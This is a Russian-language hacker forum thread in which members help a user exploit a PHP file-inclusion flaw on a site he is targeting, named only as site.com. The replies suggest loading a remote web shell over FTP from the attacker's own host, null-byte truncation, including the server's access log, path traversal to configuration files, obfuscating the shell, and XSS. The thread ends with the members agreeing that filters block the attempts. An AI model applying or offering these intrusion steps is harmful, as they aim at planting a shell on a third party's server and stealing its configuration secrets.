Помогите с PHP Inj

[CraF]

Вообщем есть сайт такого вида:

_http://www.site.com/site.php?page=index

после рандомного текста вводимого вместо index, выдает следующее:

Warning: main(ggsdf.php) [function.main]: failed to open stream: No such file or directory in /home/site/public_html/site.php on line 61

Warning: main(ggsdf.php) [function.main]: failed to open stream: No such file or directory in /home/site/public_html/site.php on line 61

Fatal error: main() [function.require]: Failed opening required 'ggsdf.php' (include_path='.:/usr/local/lib/php') in /home/site/public_html/site.php on line 61

Но после подстановки шелла в адресной строке, выдает следующее:

Service Temporarily Unavailable

The server is temporarily unable to service your request due to maintenance downtime or capacity problems. Please try again later.

Как это можно обойти?

[NOmeR1]

Как это можно обойти?
Попробуй указать вместо http://host/shell ссылку с фтп, т.е. - ftp://login:pass@host/shell

Кстате если укажешь site вместо index, то возможно будет рекурсия =)

[Spyder]

имхо будет то же самое что и при http
Просто такая фигня появляется из-за url file access
ТС, пробуй отбросить разширение с помощью нулл-байта и ищи скрипт для аплода файлов
Или пробуй инклудить ацес_лог - что не очень действенно =\

[CraF]

Да, аналогичная ситуация что и с http =\

%00 также не помогло =\

[n0ne]

Spyder, если там url file access, то %00 там никак не поможет :)

[Scipio]

Spyder, если там url file access, то %00 там никак не поможет :)

Это ты ошибаешься, Spyder все правильно сказал, он говорил про локальный инклюд, а не ты не CraF непоняли про что он говорил

[n0ne]

А да, извиняюсь, думал про %00 было сказано в тему про ремоут..ну да ладно)

[Spyder]

Посмотрел, при добовление нулл байта такая же фигня происходит
имхо ничего не сделаеш
Если конечно сможешь залить как нибудь пшп файл, что вообще нереально =)

[n0ne]

Странно, что при вписывании набора букв он выдает нормальную ошибку, а как инклюдишь шелл, то он пишет бред...у меня такое ощущение, что у них просто Iis там, антивирь или что-то подобное ловит шелл и просто не пускает его. ТС, попробуй проинклудить что-нить другое, или закрипти шелл.

[Spyder]

гг, ИИС на никс сервере =)
Дело не в шелле. а в символах которые ты вводишь в строку
Попробуй перейти по ссылке site.php?%00 будет такая же фигня
Там просто фильтры стоят

[n0ne]

Ааа...с ИИС тупанул =\ Не посмотрел что там путь есть)

Но мой вариант стоит попробовать, уже встречался с таким.

[Sn@k3]

имхо ничего не сделаеш

тут по крайней мере есть хсс

ты правильно шелл лепил? т.е. кидаешь, например на холм вида site.h17.ru/file, где на серваке уже подцепляется php, попробуй поискать файл конфига, т.е. если на сервере есть какой-нить бесплатный, или нет, борда, типа пхпбб, то попробуй вида http://site.com/../../config or http://site.com/../../config.inc нужно смотреть по ситуации, жаль локального не вытащишь. такс.

[Scipio]

тут по крайней мере есть хсс

ты правильно шелл лепил? т.е. кидаешь, например на холм вида site.h17.ru/file, где на серваке уже подцепляется php, попробуй поискать файл конфига, т.е. если на сервере есть какой-нить бесплатный, или нет, борда, типа пхпбб, то попробуй вида http://site.com/../../config or http://site.com/../../config.inc нужно смотреть по ситуации, жаль локального не вытащишь. такс.


Гы... xss есть, там написано же что он выводит сообщугу об ошибке, xss - 'то само сабой, там фильтр идет на http:/ ftp:/ %00 в _REQUEST кто муже magic quotes on, кароче ничего сделать нельзя да и конфиги инклюдить бесполезно, это же инклюд а не читалка

[Spyder]

омфг, Снейк, во первых Xss там нету, я проверил, во второх идёт фильтрация символов. Ты мой пост читал вообще?

[Spyder]

блин. люди не тупите плз =) Там сразу идёт фильтраци на %00 и ftp:// http://
Scipio прав

[Sn@k3]

я сказал на как думал и не тестил, ибо нет ссылки, а лучше выложить ссылку и не быть магами-чародеями-предсказателями. ссылку в студию!